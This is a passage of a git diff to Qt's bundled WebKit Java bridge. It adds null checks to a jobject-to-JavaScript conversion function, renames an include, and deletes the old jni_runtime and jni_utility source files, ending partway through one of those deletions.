-    jstring className = (jstring)callJNIMethod<jobject>(classOfInstance, "getName", "()Ljava/lang/String;");
-    
+    if (!classOfInstance) {
+        JSLock lock(SilenceAssertionsOnly);
+        return JavaInstance::create(theObject, _rootObject)->createRuntimeObject(exec);
+    }
+
     // Only the sun.plugin.javascript.webkit.JSObject has a member called nativeJSObject. This class is
     // created above to wrap internal browser objects. The constructor of this class takes the native
     // pointer and stores it in this object, so that it can be retrieved below.
-    if (strcmp(JavaString(className).UTF8String(), "sun.plugin.javascript.webkit.JSObject") == 0) {
-        // Pull the nativeJSObject value from the Java instance.  This is a
-        // pointer to the JSObject.
-        JNIEnv *env = getJNIEnv();
-        jfieldID fieldID = env->GetFieldID((jclass)classOfInstance, "nativeJSObject", "J");
-        if (fieldID == NULL) {
-            return jsUndefined();
-        }
-        jlong nativeHandle = env->GetLongField(theObject, fieldID);
-        if (nativeHandle == UndefinedHandle) {
-            return jsUndefined();
-        }
-        JSObject *imp = static_cast<JSObject*>(jlong_to_impptr(nativeHandle));
-        return imp;
+    jstring className = (jstring)callJNIMethod<jobject>(classOfInstance, "getName", "()Ljava/lang/String;");
+    if (!className || (strcmp(JavaString(className).UTF8String(), "sun.plugin.javascript.webkit.JSObject") != 0)) {
+        JSLock lock(SilenceAssertionsOnly);
+        return JavaInstance::create(theObject, _rootObject)->createRuntimeObject(exec);
     }
 
-    JSLock lock(SilenceAssertionsOnly);
-
-    return JavaInstance::create(theObject, _rootObject)->createRuntimeObject(exec);
+    // Pull the nativeJSObject value from the Java instance.  This is a
+    // pointer to the JSObject.
+    JNIEnv *env = getJNIEnv();
+    jfieldID fieldID = env->GetFieldID((jclass)classOfInstance, "nativeJSObject", "J");
+    if (fieldID == NULL)
+        return jsUndefined();
+    jlong nativeHandle = env->GetLongField(theObject, fieldID);
+    if (nativeHandle == UndefinedHandle)
+        return jsUndefined();
+    JSObject *imp = static_cast<JSObject*>(jlong_to_impptr(nativeHandle));
+    return imp;
 }
 
 void JavaJSObject::getListFromJArray(ExecState* exec, jobjectArray jArray, MarkedArgumentBuffer& list) const
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_objc.mm b/src/3rdparty/webkit/WebCore/bridge/jni/jni_objc.mm
index 0306bfd..e2e71c5 100644
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_objc.mm
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jni_objc.mm
@@ -28,7 +28,8 @@
 #if ENABLE(MAC_JAVA_BRIDGE)
 
 #import <Foundation/Foundation.h>
-#import "jni_utility.h"
+#import "JNIUtility.h"
+#import "JNIUtilityPrivate.h"
 #import "objc_utility.h"
 #include <runtime/JSLock.h>
 
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_runtime.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/jni_runtime.cpp
deleted file mode 100644
index cc48037..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_runtime.cpp
+++ /dev/null
@@ -1,547 +0,0 @@
-/*
- * Copyright (C) 2003 Apple Computer, Inc.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include <jni_runtime.h>
-
-#if ENABLE(MAC_JAVA_BRIDGE)
-
-#include <jni_utility.h>
-
-#include "runtime_array.h"
-#include "runtime_object.h"
-#include "runtime_root.h"
-#include <runtime/Error.h>
-#include <runtime/JSLock.h>
-
-#ifdef NDEBUG
-#define JS_LOG(formatAndArgs...) ((void)0)
-#else
-#define JS_LOG(formatAndArgs...) { \
-    fprintf (stderr, "%s:%d -- %s:  ", __FILE__, __LINE__, __FUNCTION__); \
-    fprintf(stderr, formatAndArgs); \
-}
-#endif
-
-using namespace JSC;
-using namespace JSC::Bindings;
-
-
-JavaParameter::JavaParameter (JNIEnv *env, jstring type)
-{
-    _type = JavaString (env, type);
-    _JNIType = JNITypeFromClassName (_type.UTF8String());
-}
-
-JavaField::JavaField (JNIEnv *env, jobject aField)
-{
-    // Get field type
-    jobject fieldType = callJNIMethod<jobject>(aField, "getType", "()Ljava/lang/Class;");
-    jstring fieldTypeName = (jstring)callJNIMethod<jobject>(fieldType, "getName", "()Ljava/lang/String;");
-    _type = JavaString(env, fieldTypeName);
-    _JNIType = JNITypeFromClassName (_type.UTF8String());
-
-    // Get field name
-    jstring fieldName = (jstring)callJNIMethod<jobject>(aField, "getName", "()Ljava/lang/String;");
-    _name = JavaString(env, fieldName);
-
-    _field = new JObjectWrapper(aField);
-}
-
-JSValue JavaArray::convertJObjectToArray(ExecState* exec, jobject anObject, const char* type, PassRefPtr<RootObject> rootObject)
-{
-    if (type[0] != '[')
-        return jsUndefined();
-
-    return new (exec) RuntimeArray(exec, new JavaArray((jobject)anObject, type, rootObject));
-}
-
-jvalue JavaField::dispatchValueFromInstance(ExecState *exec, const JavaInstance *instance, const char *name, const char *sig, JNIType returnType) const
-{
-    jobject jinstance = instance->javaInstance();
-    jobject fieldJInstance = _field->_instance;
-    JNIEnv *env = getJNIEnv();
-    jvalue result;
-
-    bzero (&result, sizeof(jvalue));
-    jclass cls = env->GetObjectClass(fieldJInstance);
-    if ( cls != NULL ) {
-        jmethodID mid = env->GetMethodID(cls, name, sig);
-        if ( mid != NULL )
-        {
-            RootObject* rootObject = instance->rootObject();
-            if (rootObject && rootObject->nativeHandle()) {
-                JSValue exceptionDescription;
-                jvalue args[1];
-                
-                args[0].l = jinstance;
-                dispatchJNICall(exec, rootObject->nativeHandle(), fieldJInstance, false, returnType, mid, args, result, 0, exceptionDescription);
-                if (exceptionDescription)
-                    throwError(exec, GeneralError, exceptionDescription.toString(exec));
-            }
-        }
-    }
-    return result;
-}
-
-JSValue JavaField::valueFromInstance(ExecState* exec, const Instance* i) const 
-{
-    const JavaInstance *instance = static_cast<const JavaInstance *>(i);
-
-    JSValue jsresult = jsUndefined();
-    
-    switch (_JNIType) {
-        case array_type:
-        case object_type: {
-            jvalue result = dispatchValueFromInstance (exec, instance, "get", "(Ljava/lang/Object;)Ljava/lang/Object;", object_type);
-            jobject anObject = result.l;
-
-            const char *arrayType = type();
-            if (arrayType[0] == '[') {
-                jsresult = JavaArray::convertJObjectToArray(exec, anObject, arrayType, instance->rootObject());
-            }
-            else if (anObject != 0){
-                jsresult = JavaInstance::create(anObject, instance->rootObject())->createRuntimeObject(exec);
-            }
-        }
-        break;
-            
-        case boolean_type:
-            jsresult = jsBoolean(dispatchValueFromInstance(exec, instance, "getBoolean", "(Ljava/lang/Object;)Z", boolean_type).z);
-            break;
-            
-        case byte_type:
-        case char_type:
-        case short_type:
-        
-        case int_type: {
-            jint value;
-            jvalue result = dispatchValueFromInstance (exec, instance, "getInt", "(Ljava/lang/Object;)I", int_type);
-            value = result.i;
-            jsresult = jsNumber(exec, (int)value);
-        }
-        break;
-
-        case long_type:
-        case float_type:
-        case double_type: {
-            jdouble value;
-            jvalue result = dispatchValueFromInstance (exec, instance, "getDouble", "(Ljava/lang/Object;)D", double_type);
-            value = result.i;
-            jsresult = jsNumber(exec, (double)value);
-        }
-        break;
-        default:
-        break;
-    }
-
-    JS_LOG ("getting %s = %s\n", UString(name()).UTF8String().c_str(), jsresult.toString(exec).ascii());
-    
-    return jsresult;
-}
-
-void JavaField::dispatchSetValueToInstance(ExecState *exec, const JavaInstance *instance, jvalue javaValue, const char *name, const char *sig) const
-{
-    jobject jinstance = instance->javaInstance();
-    jobject fieldJInstance = _field->_instance;
-    JNIEnv *env = getJNIEnv();
-
-    jclass cls = env->GetObjectClass(fieldJInstance);
-    if ( cls != NULL ) {
-        jmethodID mid = env->GetMethodID(cls, name, sig);
-        if ( mid != NULL )
-        {
-            RootObject* rootObject = instance->rootObject();
-            if (rootObject && rootObject->nativeHandle()) {
-                JSValue exceptionDescription;
-                jvalue args[2];
-                jvalue result;
-                
-                args[0].l = jinstance;
-                args[1] = javaValue;
-                dispatchJNICall(exec, rootObject->nativeHandle(), fieldJInstance, false, void_type, mid, args, result, 0, exceptionDescription);
-                if (exceptionDescription)
-                    throwError(exec, GeneralError, exceptionDescription.toString(exec));
-            }
-        }
-    }
-}
-
-void JavaField::setValueToInstance(ExecState* exec, const Instance* i, JSValue aValue) const
-{
-    const JavaInstance *instance = static_cast<const JavaInstance *>(i);
-    jvalue javaValue = convertValueToJValue (exec, aValue, _JNIType, type());
-
-    JS_LOG ("setting value %s to %s\n", UString(name()).UTF8String().c_str(), aValue.toString(exec).ascii());
-
-    switch (_JNIType) {
-        case array_type:
-        case object_type: {
-            dispatchSetValueToInstance (exec, instance, javaValue, "set", "(Ljava/lang/Object;Ljava/lang/Object;)V");
-        }
-        break;
-            
-        case boolean_type: {
-            dispatchSetValueToInstance (exec, instance, javaValue, "setBoolean", "(Ljava/lang/Object;Z)V");
-        }
-        break;
-            
-        case byte_type: {
-            dispatchSetValueToInstance (exec, instance, javaValue, "setByte", "(Ljava/lang/Object;B)V");
-        }
-        break;
-
-        case char_type: {
-            dispatchSetValueToInstance (exec, instance, javaValue, "setChar", "(Ljava/lang/Object;C)V");
-        }
-        break;
-
-        case short_type: {
-            dispatchSetValueToInstance (exec, instance, javaValue, "setShort", "(Ljava/lang/Object;S)V");
-        }
-        break;
-
-        case int_type: {
-            dispatchSetValueToInstance (exec, instance, javaValue, "setInt", "(Ljava/lang/Object;I)V");
-        }
-        break;
-
-        case long_type: {
-            dispatchSetValueToInstance (exec, instance, javaValue, "setLong", "(Ljava/lang/Object;J)V");
-        }
-        break;
-
-        case float_type: {
-            dispatchSetValueToInstance (exec, instance, javaValue, "setFloat", "(Ljava/lang/Object;F)V");
-        }
-        break;
-
-        case double_type: {
-            dispatchSetValueToInstance (exec, instance, javaValue, "setDouble", "(Ljava/lang/Object;D)V");
-        }
-        break;
-        default:
-        break;
-    }
-}
-
-JavaMethod::JavaMethod (JNIEnv *env, jobject aMethod)
-{
-    // Get return type
-    jobject returnType = callJNIMethod<jobject>(aMethod, "getReturnType", "()Ljava/lang/Class;");
-    jstring returnTypeName = (jstring)callJNIMethod<jobject>(returnType, "getName", "()Ljava/lang/String;");
-    _returnType =JavaString (env, returnTypeName);
-    _JNIReturnType = JNITypeFromClassName (_returnType.UTF8String());
-    env->DeleteLocalRef (returnType);
-    env->DeleteLocalRef (returnTypeName);
-
-    // Get method name
-    jstring methodName = (jstring)callJNIMethod<jobject>(aMethod, "getName", "()Ljava/lang/String;");
-    _name = JavaString (env, methodName);
-    env->DeleteLocalRef (methodName);
-
-    // Get parameters
-    jarray jparameters = (jarray)callJNIMethod<jobject>(aMethod, "getParameterTypes", "()[Ljava/lang/Class;");
-    _numParameters = env->GetArrayLength (jparameters);
-    _parameters = new JavaParameter[_numParameters];
-    
-    int i;
-    for (i = 0; i < _numParameters; i++) {
-        jobject aParameter = env->GetObjectArrayElement ((jobjectArray)jparameters, i);
-        jstring parameterName = (jstring)callJNIMethod<jobject>(aParameter, "getName", "()Ljava/lang/String;");
-        _parameters[i] = JavaParameter(env, parameterName);
-        env->DeleteLocalRef (aParameter);
-        env->DeleteLocalRef (parameterName);
-    }
-    env->DeleteLocalRef (jparameters);
-
-    // Created lazily.
-    _signature = 0;
-    _methodID = 0;
-    
-    jclass modifierClass = env->FindClass("java/lang/reflect/Modifier");
-    int modifiers = callJNIMethod<jint>(aMethod, "getModifiers", "()I");
-    _isStatic = (bool)callJNIStaticMethod<jboolean>(modifierClass, "isStatic", "(I)Z", modifiers);
-}
-
-JavaMethod::~JavaMethod() 
-{
-    if (_signature)
-        free(_signature);
-    delete [] _parameters;
-};
-
-// JNI method signatures use '/' between components of a class name, but
-// we get '.' between components from the reflection API.
-static void appendClassName(UString& aString, const char* className)
-{
-    ASSERT(JSLock::lockCount() > 0);
-    
-    char *result, *cp = strdup(className);
-    
-    result = cp;
-    while (*cp) {
-        if (*cp == '.')
-            *cp = '/';
-        cp++;
-    }
-        
-    aString.append(result);
-
-    free (result);
-}
-
-const char *JavaMethod::signature() const 
-{
-    if (!_signature) {
-        JSLock lock(SilenceAssertionsOnly);
-
-        UString signatureBuilder("(");
-        for (int i = 0; i < _numParameters; i++) {
-            JavaParameter* aParameter = parameterAt(i);
-            JNIType _JNIType = aParameter->getJNIType();
-            if (_JNIType == array_type)
-                appendClassName(signatureBuilder, aParameter->type());
-            else {
-                signatureBuilder.append(signatureFromPrimitiveType(_JNIType));
-                if (_JNIType == object_type) {
-                    appendClassName(signatureBuilder, aParameter->type());
-                    signatureBuilder.append(";");
-                }
-            }
-        }
-        signatureBuilder.append(")");
-        
-        const char *returnType = _returnType.UTF8String();
-        if (_JNIReturnType == array_type) {
-            appendClassName(signatureBuilder, returnType);
-        } else {
-            signatureBuilder.append(signatureFromPrimitiveType(_JNIReturnType));
-            if (_JNIReturnType == object_type) {
-                appendClassName(signatureBuilder, returnType);
-                signatureBuilder.append(";");
-            }
-        }
-        
-        _signature = strdup(signatureBuilder.ascii());
-    }
-    
-    return _signature;
-}
-
-JNIType JavaMethod::JNIReturnType() const
-{
-    return _JNIReturnType;
-}
-
-jmethodID JavaMethod::methodID (jobject obj) const
-{
-    if (_methodID == 0) {
-        _methodID = getMethodID (obj, _name.UTF8String(), signature());
-    }
-    return _methodID;
-}
-
-
-JavaArray::JavaArray(jobject array, const char* type, PassRefPtr<RootObject> rootObject)
-    : Array(rootObject)
-{
-    _array = new JObjectWrapper(array);
-    // Java array are fixed length, so we can cache length.
-    JNIEnv *env = getJNIEnv();
-    _length = env->GetArrayLength((jarray)_array->_instance);
-    _type = strdup(type);
-    _rootObject = rootObject;
-}
-
-JavaArray::~JavaArray () 
-{
-    free ((void *)_type);
-}
-
-RootObject* JavaArray::rootObject() const 
-{ 
-    return _rootObject && _rootObject->isValid() ? _rootObject.get() : 0;
-}
-
-void JavaArray::setValueAt(ExecState* exec, unsigned index, JSValue aValue) const
-{
-    JNIEnv *env = getJNIEnv();
-    char *javaClassName = 0;
-    
-    JNIType arrayType = JNITypeFromPrimitiveType(_type[1]);
-    if (_type[1] == 'L'){
-        // The type of the array will be something like:
-        // "[Ljava.lang.string;".  This is guaranteed, so no need
-        // for extra sanity checks.
-        javaClassName = strdup(&_type[2]);
-        javaClassName[strchr(javaClassName, ';')-javaClassName] = 0;
-    }
-    jvalue aJValue = convertValueToJValue (exec, aValue, arrayType, javaClassName);
-    
-    switch (arrayType) {
-        case object_type: {
-            env->SetObjectArrayElement((jobjectArray)javaArray(), index, aJValue.l);
-            break;
-        }
-            
-        case boolean_type: {
-            env->SetBooleanArrayRegion((jbooleanArray)javaArray(), index, 1, &aJValue.z);
-            break;
-        }
-            
-        case byte_type: {
-            env->SetByteArrayRegion((jbyteArray)javaArray(), index, 1, &aJValue.b);
-            break;
-        }
-            
-        case char_type: {
-            env->SetCharArrayRegion((jcharArray)javaArray(), index, 1, &aJValue.c);
-            break;
-        }
-            
-        case short_type: {
-            env->SetShortArrayRegion((jshortArray)javaArray(), index, 1, &aJValue.s);
-            break;
-        }
-            
-        case int_type: {
-            env->SetIntArrayRegion((jintArray)javaArray(), index, 1, &aJValue.i);
-            break;
-        }
-            
-        case long_type: {
-            env->SetLongArrayRegion((jlongArray)javaArray(), index, 1, &aJValue.j);
-        }
-            
-        case float_type: {
-            env->SetFloatArrayRegion((jfloatArray)javaArray(), index, 1, &aJValue.f);
-            break;
-        }
-            
-        case double_type: {
-            env->SetDoubleArrayRegion((jdoubleArray)javaArray(), index, 1, &aJValue.d);
-            break;
-        }
-        default:
-        break;
-    }
-    
-    if (javaClassName)
-        free ((void *)javaClassName);
-}
-
-
-JSValue JavaArray::valueAt(ExecState* exec, unsigned index) const
-{
-    JNIEnv *env = getJNIEnv();
-    JNIType arrayType = JNITypeFromPrimitiveType(_type[1]);
-    switch (arrayType) {
-        case object_type: {
-            jobjectArray objectArray = (jobjectArray)javaArray();
-            jobject anObject;
-            anObject = env->GetObjectArrayElement(objectArray, index);
-
-            // No object?
-            if (!anObject) {
-                return jsNull();
-            }
-            
-            // Nested array?
-            if (_type[1] == '[') {
-                return JavaArray::convertJObjectToArray(exec, anObject, _type+1, rootObject());
-            }
-            // or array of other object type?
-            return JavaInstance::create(anObject, rootObject())->createRuntimeObject(exec);
-        }
-            
-        case boolean_type: {
-            jbooleanArray booleanArray = (jbooleanArray)javaArray();
-            jboolean aBoolean;
-            env->GetBooleanArrayRegion(booleanArray, index, 1, &aBoolean);
-            return jsBoolean(aBoolean);
-        }
-            
-        case byte_type: {
-            jbyteArray byteArray = (jbyteArray)javaArray();
-            jbyte aByte;
-            env->GetByteArrayRegion(byteArray, index, 1, &aByte);
-            return jsNumber(exec, aByte);
-        }
-            
-        case char_type: {
-            jcharArray charArray = (jcharArray)javaArray();
-            jchar aChar;
-            env->GetCharArrayRegion(charArray, index, 1, &aChar);
-            return jsNumber(exec, aChar);
-            break;
-        }
-            
-        case short_type: {
-            jshortArray shortArray = (jshortArray)javaArray();
-            jshort aShort;
-            env->GetShortArrayRegion(shortArray, index, 1, &aShort);
-            return jsNumber(exec, aShort);
-        }
-            
-        case int_type: {
-            jintArray intArray = (jintArray)javaArray();
-            jint anInt;
-            env->GetIntArrayRegion(intArray, index, 1, &anInt);
-            return jsNumber(exec, anInt);
-        }
-            
-        case long_type: {
-            jlongArray longArray = (jlongArray)javaArray();
-            jlong aLong;
-            env->GetLongArrayRegion(longArray, index, 1, &aLong);
-            return jsNumber(exec, aLong);
-        }
-            
-        case float_type: {
-            jfloatArray floatArray = (jfloatArray)javaArray();
-            jfloat aFloat;
-            env->GetFloatArrayRegion(floatArray, index, 1, &aFloat);
-            return jsNumber(exec, aFloat);
-        }
-            
-        case double_type: {
-            jdoubleArray doubleArray = (jdoubleArray)javaArray();
-            jdouble aDouble;
-            env->GetDoubleArrayRegion(doubleArray, index, 1, &aDouble);
-            return jsNumber(exec, aDouble);
-        }
-        default:
-        break;
-    }
-    return jsUndefined();
-}
-
-unsigned int JavaArray::getLength() const
-{
-    return _length;
-}
-
-#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_runtime.h b/src/3rdparty/webkit/WebCore/bridge/jni/jni_runtime.h
deleted file mode 100644
index 81484ff..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_runtime.h
+++ /dev/null
@@ -1,191 +0,0 @@
-/*
- * Copyright (C) 2003 Apple Computer, Inc.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef _JNI_RUNTIME_H_
-#define _JNI_RUNTIME_H_
-
-#if ENABLE(MAC_JAVA_BRIDGE)
-
-#include <jni_utility.h>
-#include <jni_instance.h>
-#include <runtime/JSLock.h>
-
-
-namespace JSC
-{
-
-namespace Bindings
-{
-
-typedef const char* RuntimeType;
-
-class JavaString
-{
-public:
-    JavaString()
-    {
-        JSLock lock(SilenceAssertionsOnly);
-        _rep = UString().rep();
-    }
-
-    void _commonInit (JNIEnv *e, jstring s)
-    {
-        int _size = e->GetStringLength (s);
-        const jchar *uc = getUCharactersFromJStringInEnv (e, s);
-        {
-            JSLock lock(SilenceAssertionsOnly);
-            _rep = UString(reinterpret_cast<const UChar*>(uc), _size).rep();
-        }
-        releaseUCharactersForJStringInEnv (e, s, uc);
-    }
-    
-    JavaString (JNIEnv *e, jstring s) {
-        _commonInit (e, s);
-    }
-    
-    JavaString (jstring s) {
-        _commonInit (getJNIEnv(), s);
-    }
-    
-    ~JavaString()
-    {
-        JSLock lock(SilenceAssertionsOnly);
-        _rep = 0;
-    }
-    
-    const char *UTF8String() const { 
-        if (_utf8String.c_str() == 0) {
-            JSLock lock(SilenceAssertionsOnly);
-            _utf8String = UString(_rep).UTF8String();
-        }
-        return _utf8String.c_str();
-    }
-    const jchar *uchars() const { return (const jchar *)_rep->data(); }
-    int length() const { return _rep->size(); }
-    operator UString() const { return UString(_rep); }
-
-private:
-    RefPtr<UString::Rep> _rep;
-    mutable CString _utf8String;
-};
-
-class JavaParameter
-{
-public:
-    JavaParameter () : _JNIType(invalid_type) {};
-    JavaParameter (JNIEnv *env, jstring type);
-    virtual ~JavaParameter() { }
-
-    RuntimeType type() const { return _type.UTF8String(); }
-    JNIType getJNIType() const { return _JNIType; }
-    
-private:
-    JavaString _type;
-    JNIType _JNIType;
-};
-
-
-class JavaField : public Field
-{
-public:
-    JavaField (JNIEnv *env, jobject aField);
-
-    virtual JSValue valueFromInstance(ExecState *exec, const Instance *instance) const;
-    virtual void setValueToInstance(ExecState *exec, const Instance *instance, JSValue aValue) const;
-    
-    UString::Rep* name() const { return ((UString)_name).rep(); }
-    virtual RuntimeType type() const { return _type.UTF8String(); }
-
-    JNIType getJNIType() const { return _JNIType; }
-    
-private:
-    void dispatchSetValueToInstance(ExecState *exec, const JavaInstance *instance, jvalue javaValue, const char *name, const char *sig) const;
-    jvalue dispatchValueFromInstance(ExecState *exec, const JavaInstance *instance, const char *name, const char *sig, JNIType returnType) const;
-
-    JavaString _name;
-    JavaString _type;
-    JNIType _JNIType;
-    RefPtr<JObjectWrapper> _field;
-};
-
-
-class JavaMethod : public Method
-{
-public:
-    JavaMethod(JNIEnv* env, jobject aMethod);
-    ~JavaMethod();
-
-    UString::Rep* name() const { return ((UString)_name).rep(); }
-    RuntimeType returnType() const { return _returnType.UTF8String(); };
-    JavaParameter* parameterAt(int i) const { return &_parameters[i]; };
-    int numParameters() const { return _numParameters; };
-    
-    const char *signature() const;
-    JNIType JNIReturnType() const;
-
-    jmethodID methodID (jobject obj) const;
-    
-    bool isStatic() const { return _isStatic; }
-
-private:
-    JavaParameter* _parameters;
-    int _numParameters;
-    JavaString _name;
-    mutable char* _signature;
-    JavaString _returnType;
-    JNIType _JNIReturnType;
-    mutable jmethodID _methodID;
-    bool _isStatic;
-};
-
-class JavaArray : public Array
-{
-public:
-    JavaArray(jobject array, const char* type, PassRefPtr<RootObject>);
-    virtual ~JavaArray();
-
-    RootObject* rootObject() const;
-
-    virtual void setValueAt(ExecState *exec, unsigned int index, JSValue aValue) const;
-    virtual JSValue valueAt(ExecState *exec, unsigned int index) const;
-    virtual unsigned int getLength() const;
-    
-    jobject javaArray() const { return _array->_instance; }
-
-    static JSValue convertJObjectToArray (ExecState* exec, jobject anObject, const char* type, PassRefPtr<RootObject>);
-
-private:
-    RefPtr<JObjectWrapper> _array;
-    unsigned int _length;
-    const char *_type;
-};
-
-} // namespace Bindings
-
-} // namespace JSC
-
-#endif // ENABLE(MAC_JAVA_BRIDGE)
-
-#endif // _JNI_RUNTIME_H_
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_utility.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/jni_utility.cpp
deleted file mode 100644
index 86075c9..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_utility.cpp
+++ /dev/null
@@ -1,584 +0,0 @@
-/*
- * Copyright (C) 2003 Apple Computer, Inc.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#include "config.h"
-#include "jni_utility.h"
-
-#if ENABLE(MAC_JAVA_BRIDGE)
-
-#include "jni_runtime.h"
-#include "runtime_array.h"
-#include "runtime_object.h"
-#include <runtime/JSArray.h>
-#include <runtime/JSLock.h>
-#include <dlfcn.h>
-
-namespace JSC {
-
-namespace Bindings {
-
-static jint KJS_GetCreatedJavaVMs(JavaVM** vmBuf, jsize bufLen, jsize* nVMs)
-{
-    static void* javaVMFramework = 0;
-    if (!javaVMFramework)
-        javaVMFramework = dlopen("/System/Library/Frameworks/JavaVM.framework/JavaVM", RTLD_LAZY);
-    if (!javaVMFramework)
-        return JNI_ERR;
-
-    static jint(*functionPointer)(JavaVM**, jsize, jsize *) = 0;
-    if (!functionPointer)
-        functionPointer = (jint(*)(JavaVM**, jsize, jsize *))dlsym(javaVMFramework, "JNI_GetCreatedJavaVMs");
-    if (!functionPointer)
-        return JNI_ERR;
-    return functionPointer(vmBuf, bufLen, nVMs);
-}
-
-static JavaVM *jvm = 0;
-
-// Provide the ability for an outside component to specify the JavaVM to use
-// If the jvm value is set, the getJavaVM function below will just return. 
-// In getJNIEnv(), if AttachCurrentThread is called to a VM that is already
-// attached, the result is a no-op.
-void setJavaVM(JavaVM *javaVM)
-{
-    jvm = javaVM;
-}
-
-JavaVM *getJavaVM()
-{
-    if (jvm)
-        return jvm;
-
-    JavaVM *jvmArray[1];
-    jsize bufLen = 1;
-    jsize nJVMs = 0;
-    jint jniError = 0;
-
-    // Assumes JVM is already running ..., one per process
-    jniError = KJS_GetCreatedJavaVMs(jvmArray, bufLen, &nJVMs);
-    if ( jniError == JNI_OK && nJVMs > 0 ) {
-        jvm = jvmArray[0];
-    }
-    else 
-        fprintf(stderr, "%s: JNI_GetCreatedJavaVMs failed, returned %ld\n", __PRETTY_FUNCTION__, (long)jniError);
-        
-    return jvm;
-}
-
-JNIEnv* getJNIEnv()
-{
-    union {
-        JNIEnv* env;
-        void* dummy;
-    } u;
-    jint jniError = 0;
-
-    jniError = (getJavaVM())->AttachCurrentThread(&u.dummy, NULL);
-    if (jniError == JNI_OK)
-        return u.env;
-    else
-        fprintf(stderr, "%s: AttachCurrentThread failed, returned %ld\n", __PRETTY_FUNCTION__, (long)jniError);
-    return NULL;
-}
-
-jmethodID getMethodID (jobject obj, const char *name, const char *sig)
-{
-    JNIEnv *env = getJNIEnv();
-    jmethodID mid = 0;
-        
-    if ( env != NULL) {
-    jclass cls = env->GetObjectClass(obj);
-    if ( cls != NULL ) {
-            mid = env->GetMethodID(cls, name, sig);
-            if (!mid) {
-                env->ExceptionClear();
-                mid = env->GetStaticMethodID(cls, name, sig);
-                if (!mid) {
-                    env->ExceptionClear();
-                }
-            }
-        }
